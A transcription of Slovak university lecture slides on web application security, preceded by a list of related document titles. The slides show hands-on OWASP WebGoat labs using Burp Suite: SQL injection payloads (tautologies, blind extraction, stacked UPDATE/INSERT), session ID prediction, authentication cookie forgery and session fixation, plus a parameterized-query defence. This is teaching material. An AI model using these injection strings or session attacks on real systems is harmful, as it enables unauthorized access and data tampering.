Bezpečnosť webovských aplikácií (2. časť)

Similar documents
Registrácia účtu Hik-Connect

The HTTP protocol. Fulvio Corno, Dario Bonino. 08/10/09 http 1

HashCookies A Simple Recipe

Introduction to HTTP. Jonathan Sillito

WebGoat& WebScarab. What is computer security for $1000 Alex?

Introduction to Ethical Hacking

The HTTP Protocol HTTP

Penetration Test Report

EDA095 HTTP. Pierre Nugues. March 30, Lund University

Certified Secure Web Application Engineer

Lab 5: Web Attacks using Burp Suite

WebGoat Lab session overview

Security Course. WebGoat Lab sessions

Common Websites Security Issues. Ziv Perry

Web Application Security GVSAGE Theater

MWR InfoSecurity Advisory. 26 th April Elastic Path Administrative. Quit. Session Hijacking through Embedded XSS

Exploiting and Defending: Common Web Application Vulnerabilities

CSWAE Certified Secure Web Application Engineer

Cross-Site Request Forgery in Cisco SG220 series

Security Research Advisory IBM WebSphere Portal Cross-Site Scripting Vulnerability

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

HTTP Protocol and Server-Side Basics

Web Search An Application of Information Retrieval Theory

Assignment, part 2. Statement and concepts INFO-0010

World Wide Web, etc.

HTTP Request Handling

Server-Side Web Programming: Python (Part 1) Copyright 2017 by Robert M. Dondero, Ph.D. Princeton University

Hacking Web Sites 3) Insecure Direct Object Reference

SQL Injection. A tutorial based on XVWA

Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side)

Web Application Penetration Testing

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Introduction to Information Security. Web Security Sang Kil Cha

Security II: Web authentication

Spôsoby zistenia ID KEP

Neat tricks to bypass CSRF-protection. Mikhail

Web Security. Thierry Sans

Lecture 7b: HTTP. Feb. 24, Internet and Intranet Protocols and Applications

GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report.

I was given the following web application: and the instruction could be found on the first page.

Notes From The field

CS 142 Winter Session Management. Dan Boneh

Web Security: Vulnerabilities & Attacks

Copyright 2016 by Martin Krug. All rights reserved.

D.Signer prostriedok pre vytváranie zaručeného elektronického podpisu. Inštalačná príručka

Databázové systémy. SQL Window functions

WEB TECHNOLOGIES CHAPTER 1

Data Avenue REST API. Ákos Hajnal, Zoltán Farkas November, 2015

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

How to work with HTTP requests and responses

Ethical Hacking and Countermeasures: Web Applications, Second Edition. Chapter 3 Web Application Vulnerabilities

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

jquery Basic HTTP communication

Computer Networks. Wenzhong Li. Nanjing University

Secure Web App. 제목 : Secure Web Application v1.0 ( 채수민책임 ) Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 1 -

Using OAuth 2.0 to Access ionbiz APIs

Compliance with OWASP ASVS L1:

Getting started with OWASP WebGoat 4.0 and SOAPUI.

The TCPProxy. Table of contents

Web Architecture and Technologies

Authentication Security

LAMP, WEB ARCHITECTURE, AND HTTP

COMP9321 Web Application Engineering

CIS 700/002 : Special Topics : OWASP ZED (ZAP)

Using the Cisco ACE Application Control Engine Application Switches with the Cisco ACE XML Gateway

Ethical Hacking as a Professional Penetration Testing Technique ISSA Southern Tier & Rochester Chapters

address view... 3 URL... 3 Method... 3 URL Params... 3 Required... 3 Optional... 3 Data Params... 4 Success Response... 4 Error Response...

JOE WIPING OUT CSRF

HTTP Authentication API

OWASP Top 10. from a developer s perspective. John Wilander, OWASP/Omegapoint, IBWAS 10

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Solutions Business Manager Web Application Security Assessment

WFUZZ! for Penetration Testers! Christian Martorella & Xavier Mendez! SOURCE Conference 2011! Barcelona!

Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection

Web, HTTP and Web Caching

Our sponsors Zequi V Autopsy of Vulnerabilities

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

The SSL security extension from a programmer's point of view How to write servers and clients in Java. The HTTP Protocol

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

WAPT in pills: Self-paced, online, flexible access interactive slides. 4+ hours of video materials

Bank Infrastructure - Video - 1

COSC 2206 Internet Tools. The HTTP Protocol

Open Web Application Security Project (OWASP)

OAuth at Interactive Brokers

java -jar Xmx2048mb /Applications/burpsuite_pro_v1.5.jar

JOE WIPING OUT CSRF

Injectable Exploits. New Tools for Pwning Web Apps and Browsers

kucharka exportu pro 9FFFIMU

Sichere Software vom Java-Entwickler

Secure Web Application Development: Hands-on Teaching Modules

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

Whatever it takes. Fixing SQLIA and XSS in the process. Diploma Thesis Outline Presentation, Florian Thiel

Authentication and Password CS166 Introduction to Computer Security 2/11/18 CS166 1

CNIT 129S: Securing Web Applications. Ch 8: Attacking Access Controls

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Automatically Checking for Session Management Vulnerabilities in Web Applications

Session 8. Reading and Reference. en.wikipedia.org/wiki/list_of_http_headers. en.wikipedia.org/wiki/http_status_codes

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Transcription:

Bezpečnosť webovských aplikácií (2. časť) Richard Ostertág Katedra informatiky FMFI UK, Bratislava ostertag@dcs.fmph.uniba.sk 2011/12 R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 1 / 14

Inštalácia prostredia 1 Stiahnuť a nainštalovať nasledovné aplikácie: burp suite free edition v1.4.01 Stiahnuť burpsuite_v1.4.01.zip z http://portswigger.net Rozbaliť.zip do adresára c:/temp Upraviť suite.bat na java -jar burpsuite_v1.4.01.jar Spustiť suite.bat Získame proxy bežiacu na localhost:8080 alternatívou je OWASP WebScarab Project OWASP WebGoat V5.3 Stiahnuť WebGoat-OWASP_Standard-5.3_RC1.7z z http://www.owasp.org/index.php/owasp_webgoat_project Rozbaliť.7z do adresára C:/Temp Spustiť webgoat.bat Navštíviť http://localhost/webgoat/attack R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 2 / 14

Inštalácia prostredia 2 Nastaviť proxy server pre prehliadače: Zaškrtnúť voľbu Internet Options Connections LAN settings Use proxy server Odškrtnúť voľbu Bypass proxy server for local addresses Do nasledovných polí zadať: Address: localhost Port: 8080 V rozšírených nastavenia skontrolovať prázdnosť poľa výnimiek Poznámky: Zdá sa, že Internet Explorer 9 ignoruje Bypass proxy for local addresses Pokiaľ na porte 80 už beží nejaký iný server, je možné WebGoat sprevádzkovať aj na inom porte (./tomcat/conf/server.xml). R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 3 / 14

Základy HTTP (GET request, response) GET request GET /webgoat/attack HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: sk-sk,sk;q=0.8,cs;q=0.6,en-us;q=0.4,en;q=0.2 Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.3 Response HTTP/1.1 401 Unauthorized Server: Apache-Coyote/1.1 WWW-Authenticate: Basic realm="webgoat Application" Content-Type: text/html;charset=utf-8 Content-Length: 954 <html>...</html> Po obdržaní tejto odpovede prehliadač zobrazí dialógové okno pre zadanie mena a hesla. R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 4 / 14

Základy HTTP (basic authentication) Po zadaní hesla sa vygeneruje nasledovná odpoveď: GET /webgoat/attack HTTP/1.1 Host: localhost Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: sk-sk,sk;q=0.8,cs;q=0.6,en-us;q=0.4,en;q=0.2 Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.3 Dekódovanie mena a hesla: proxy intercept raw vybrať podčiarknuté context menu send to decoder decode as base64 Dostávame guest:guest R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 5 / 14

Základy HTTP (response with cookie, POST request) HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654; Path=/webgoat Content-Type: text/html;charset=iso-8859-1 Content-Length: 3774 <html>... <form method="post" name="form" action="attack?screen=264&menu=100"> Enter your Name: <input name="person" type="text" value=""> <input name="submit" type="submit" value="go!"> </form>...</html> POST /webgoat/attack?screen=264&menu=100 HTTP/1.1 Host: localhost Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Referer: http://localhost:8888/webgoat/attack?screen=264&menu=100 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654 Content-Type: application/x-www-form-urlencoded Content-Length: 25 person=katka&submit=go%21 R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 6 / 14

String SQL Injection "SELECT * FROM employee WHERE userid = "+ userid + " and password = "+ password + " " Password: OR 1 = 1 odstrániť limit na maximálnu dĺžku vstupného poľa "SELECT * FROM employee WHERE userid = "+ userid + " and password = OR 1 = 1 " Ochrana pomocou parametizovaného SQL String query = "SELECT * FROM employee WHERE userid =? and password =?"; PreparedStatement statement = connection.preparestatement(query,...); statement.setstring(1, userid); statement.setstring(2, password); ResultSet answer_results = statement.executequery(); R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 7 / 14

Numeric SQL Injection Prihlásiť sa ako používateľ Larry Stooge s heslom larry odchytiť ViewProfile pre Larry Stooge POST /webgoat/attack?screen=61&menu=1200 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=64D654CDF1384E9F54F175928746838E employee_id=101&action=viewprofile URL encode: 101 or 1=1 order by salary desc získaným reťazcom nahradiť podčiarknuté odoslať R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 8 / 14

Blind Numeric SQL Injection 101 AND ((SELECT pin FROM pins WHERE cc_number= 1111222233334444 ) > 1000) 101 AND ((SELECT pin FROM pins WHERE cc_number= 1111222233334444 ) = 1000) odchytiť context menu send to intruder clear all payload markers vybrať 1000, add payloads numbers from 2360 min digits 4, to 2370 max digits 4, step 1, min/max fraction 0 options grep match Account number is valid. intruder start attack Heslo je 2364 R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 9 / 14

Blind String SQL Injection "SELECT * FROM user_data WHERE userid = " + accountnumber 101 AND (SUBSTRING( (SELECT name FROM pins WHERE cc_number= 4321432143214321 ), 1, 1) = J ) 2, 1) = i ) 3, 1) = l ) 4, 1) = l ) R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 10 / 14

Modifikácia a pridávanie záznamov pomocou SQL Injection Modifikácia záznamov pomocou SQL Injection Použijeme ; na oddelenie príkazov ; UPDATE salaries SET salary=9999999 WHERE userid= jsmith Pridávanie záznamov pomocou SQL Injection Použijeme ; na oddelenie príkazov ; INSERT INTO salaries VALUES ( cwillis, 999999); -- R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 11 / 14

Hijack a Session Session cookie sa dá ľahko predikovať Prvá časť sú sekvenčné čísla Druhá časť sú milisekundy Odhytiť request na Hijack a Session Odstrániť WEAKID=... send to repeater Aby nebolo nutné hádať milisekundy: Každý 29. pokus, sa preskočí jedno session ID Preskočený identifikátor sa zobrazí v odpovedi Pomocou neho sa potom dá prihlásiť do cudzej session R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 12 / 14

Spoof an Authentication Cookie Útočník môže obísť autentifikačnú kontrolu V tomto prípade je autentifikačná cookie vypočítateľná útočníkom Pre používateľa webgoat: AuthCookie=65432ubphcfx Pre používateľa aspect: AuthCookie=65432udfqtb Akú autentifikačnú cookie bude mať používateľ alice? Cookie sa tvorí zreťazením 65432 s otočením mena a posunutím jednotlivých písmen na ďalšie písmeno v abecede. Prihlásiť sa ako napr. používateľ webgoat, heslo webgoat Odchytiť request na Refresh Zmeniť AuthCookie=65432ubphcfx na 65432fdjmb Odpoveď príde už akoby bol prihlásený používateľ alice R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 13 / 14

Session Fixation Po autentifikácii nedochádza k zmene session Útočník tak môže vynútiť použitie ním zvoleného session ID 1. krok: Pridáme &SID=FixThis na koniec linky v e-mailovej správe Windows FIX: treba zmeniť aj časť URL z WebGoat na webgoat 2. krok: Kliknúť na Goat Hills Financial, zafixuje sa SID (viď. URL) 3. krok: Jane sa prihlási s heslom tarzan 4. krok: Pri prihlasovaní útočník vidí, že jeho SID=NOVALIDSESSION 5. krok: Útočník zmení svoje SID z NOVALIDSESSION na FixThis 6. krok: Po odoslaní URL vidí v prehliadači údaje prihlásenej Jane R. Ostertág (KI FMFI UK) Bezpečnosť webovských aplikácií (2) 14 / 14